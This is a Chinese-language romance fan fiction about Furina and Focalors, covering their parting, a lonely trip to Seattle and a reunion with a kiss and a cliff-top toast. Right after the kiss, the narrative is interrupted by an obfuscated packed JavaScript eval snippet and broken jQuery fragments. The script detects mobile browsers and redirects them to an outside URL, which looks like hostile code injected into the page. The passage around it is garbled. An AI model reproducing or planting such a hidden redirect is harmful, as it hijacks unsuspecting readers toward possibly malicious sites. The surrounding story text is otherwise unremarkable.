天气太热，不过好在只囿于正午。芙宁娜探身去关窗，预备把窗帘拉下，只留一点缝隙给窗台上的绿植。十八岁的芙宁娜离开了那座小镇，在南法的城镇间往复，直到这条海岸线烂熟于心。那时候她才明白，往事太薄太脆，又或者它本就是海风吹至皮肤上的盐晶，轻易碎成齑粉。


    在这种炎热到空气都震颤的时候，她又想起临别时芙卡洛斯的笑容。她们跳崖了，确凿无疑。不是为了寻死，就是简简单单的一次冒险。她们还活着，但传说的真假仍旧难辨。她们怎么算恋人呢？谁都可以成为恋人，唯独她们不行。半夜被大人们接回去，擦去耳鼻倒流的血液，用毛巾包裹红肿的部位，在他们惊慌的语气中眉来眼去，由着心照不宣的罪恶来回逡巡，直到碰撞成一地散落的大笑。她确信那时候芙卡洛斯的母亲已经知道了她们不可告人的秘密。为了印证她的直觉，芙卡洛斯要出国了。


    男人开车送芙卡洛斯去机场，她理所当然地和芙卡洛斯并肩坐在后排。来自副驾驶的打量让她如坐针毡。也许是错觉，错觉而已。她这么安慰自己，直到一只柔软的、温热的手握住了她的，一如八年前她第一次踏足南法的土地，那时她没有握住对方的手，误以为漂泊将是自己一生的命运。


    在机场，芙卡洛斯应付着男人和女人的叮嘱，以大人的气度。直到话说尽了，再没什么可说，三人的目光便有志一同地落到沉默的芙宁娜身上。芙卡洛斯笑着拉起芙宁娜的手摇了摇。


    Bye Bye Furina, Bye My girl.


    樱桃色的唇珠颤动了一下，流利的告别一齐滚出来。那时芙宁娜吓得几乎要跳起，小心翼翼地用余光观察男人和女人的表情，但大人们笑得坦然又妥当，毫无裂缝。她有些糊涂了，也许他们的确一无所知。但她们交握的手被灼热的视线炙烤，因而一触即分，又明明白白地说明，见不得人的故事都已败露。


    回程路上，她一个人坐在后座，双手绞在一起，除了祈祷天空中悬挂的是同一个月亮以外，别无他法。


    芙卡洛斯出国后，芙宁娜消失了整整三天。字条上说的是出去散心，学校的假条写的是身体不适，兜兜转转，没人知道芙宁娜是去了西雅图，下午五点，一个人拉着行李箱寻觅芙卡洛斯住所附近的旅馆。落日把城市装点得气派，她却没有多看几眼。很快下起雨，她才恍然想起芙卡洛斯走前说过，说要去一座一年有三百天在下雨的城市。半夜走在异国的街道上，她没有伞，灯光模糊成一个个光圈，熟悉的声音夹在陌生男女的笑谈中飘远。她想她真是醉了，尽管滴酒未沾。


    骤雨太重，压得她的呼吸都变沉。她不明白。她怎么能丢下她，那么轻易地，无情地，毫不留恋地，满不在乎地，将沙子抹平，将芙宁娜从生活里删去，仿佛她们的八年不曾存在。她怎么能如此泛滥地多情，用同样明媚的、潮湿的、自如的笑容对每一个人，聊起钟楼怪人的传说，一起攀登异国的山丘。


    她想，我是恨她的，我应该毁掉芙卡洛斯。但是街巷寂静，芙卡洛斯们走后再无一人，仿佛整个城市只有她自己。雨从头上滑进衣中，把尚且温热的躯体熨得冰凉。她亲吻那条项链上的贝壳，肉｜体和灵魂一齐颤栗。


    我还是恨我自己吧。也许我不是醉了，只是病了。芙宁娜最后这么说，说给唯一的听众。第二天她买了回国的机票，没有人知道她来了又去，西雅图的雨夜不曾收留被抛弃的女孩。


    因此，当她拽着窗帘，将关窗的身子收回，瞥见芙卡洛斯站在楼下冲她微笑时，狂喜才没能压倒忌恨。她假装什么也没看见，把窗帘放下，遮挡过于热烈的阳光。她的手从项链上移开，一路向下，按在心脏的位置上，一下一下，她听到自己的灵魂在胸腔里一边大笑一边痛哭。


    第二天她如常出门，去找自己那辆掉漆的二手自行车。芙卡洛斯就等在楼下，没有同她打招呼，只是自然地拉住后座，问她：


    “不载我一程吗？”


    芙宁娜想笑，又想控诉她，又觉得无可控诉。她说：“松手。”


    芙卡洛斯就叹口气：“唉，两年不见，你就是这么迎接我的？好无情，我难过的要死掉了。”


    芙宁娜从喉咙里憋出一声冷哼，推着车向前。谁难过的要死掉了？反正不可能是刚到西雅图就如鱼得水的芙卡洛斯。


    但芙卡洛斯仿佛已经看穿了她：“我已经成年了喔。”


    “你想说什么？”


    “成年的意思就是，我想做什么就做什么，即使是我母亲，也不可能把我从我的屋子里赶出去。”


    熟悉的手又攀上肩膀，芙宁娜感觉到后座的拉力消失了。她便跨坐上去，而芙卡洛斯也顺理成章地搂住她的腰。随着车轮的运转，午后的海风微微吹起额前的头发，一下子把十年光阴都吹散了，从她们的身体里流出来，淌了一路。


    “芙宁娜也快了，是不是？就是今天。”


    “喔。”


    “不好好庆祝一下吗？我知道一家不错的酒吧。”


    “……”


    “来尝试一下吧，我知道你一直困惑——你到底是病了，还是醉了？”


    芙宁娜猛捏了一把刹车，她忍无可忍地回头。她想说你消失了两年见了我就说这个，还想说你知道我这两年是怎么过来的吗，但一切都晚了。芙卡洛斯的唇近在咫尺。柔软的，潮湿的，温暖的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099054|163753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    芙宁娜自己跳下了车。


    芙卡洛斯毫不意外，直起身笑着说，我在老地方等你。


    芙宁娜站在原地目送她离开。她不明白她的心为什么跳得那样快。她想这是因为恨。她该恨她的，不是吗？芙卡洛斯将那支丘比特的箭插进了她的心脏，自己却大笑着离开，而她连逃跑都做不到。她不过是芙卡洛斯生命里微不足道的过客，和所有旧了的衣服一样可以毫不留情地丢弃。


    夜半时分，芙宁娜终于爬到海崖的顶端。芙卡洛斯等待已久，正有一搭没一搭地啜饮波尔多红酒。不用回头，仅凭凌乱的呼吸，她知道芙宁娜来了，便慵懒地招了招手。芙宁娜不甘地走过去，在她身边坐下。四条光溜溜的小腿从悬崖上垂下来，在空中轻轻晃动，彼此相撞时，十月的海风从缝隙间溜走，冰凉又黏腻。


    芙卡洛斯轻轻地说：“你看，我们到底拥有同一个月亮。”


    她望进她的眸子，和月亮相遇。她想起十年前她们曾于此纵身一跃，从崖上坠落，没人看见她们手牵着手。肉｜体从骨头上滑落，灵魂从睡梦中觉醒，芙宁娜发现自己还活着，并且无法去恨芙卡洛斯。她先是告辞，又慨然留下，尽管那姿态近乎一种施舍，芙宁娜却不能说服自己高傲的自尊心弃她而去。


    她们聊了聊咖啡、糖果、沙画和电视剧，于是，那么多沉重的岁月随着话语变得轻盈，加快流逝，很快消损不见。


    末了，芙卡洛斯说：“从这里跳下去还能生还的情人，是被上帝认可和保佑的爱侣。我们不应该为此干杯吗？”


    好吧，芙宁娜说着，慢吞吞地举起酒杯。玻璃相撞发出脆响，宣告又一个盛大的夏日已经落幕。


    芙卡洛斯转过头来说：“成年快乐，我的女孩。”


    下山时芙卡洛斯已经醉了。她半边身体的重量都压在芙宁娜的身上，还在有一搭没一搭地讲着钟楼怪人。芙宁娜忍不住去看这座小镇的钟楼，与当年的那座颇为相似。芙卡洛斯的气息轻轻挠过耳廓，她听到一句近乎消弭的气音：


    “我是这个世界的钟楼怪人，丑恶的欲望，为世界不容……但是，我有自己的爱斯梅拉达……”


    芙宁娜说：“你真的是醉了。”


    把芙卡洛斯扶进公寓、安置在床上后，她似乎又清醒过来，望着芙宁娜妩媚地笑，笑得芙宁娜不自在地别过头去。她最后说：


    Bye Bye Furina, Bye My girl.


    芙宁娜说，你为什么要和我说再见呢？我会疑心那将是永别。


    芙卡洛斯勉强撑起身体，她的发丝擦过芙宁娜的，依依不舍。


    你应当用明天见来回应我。她说。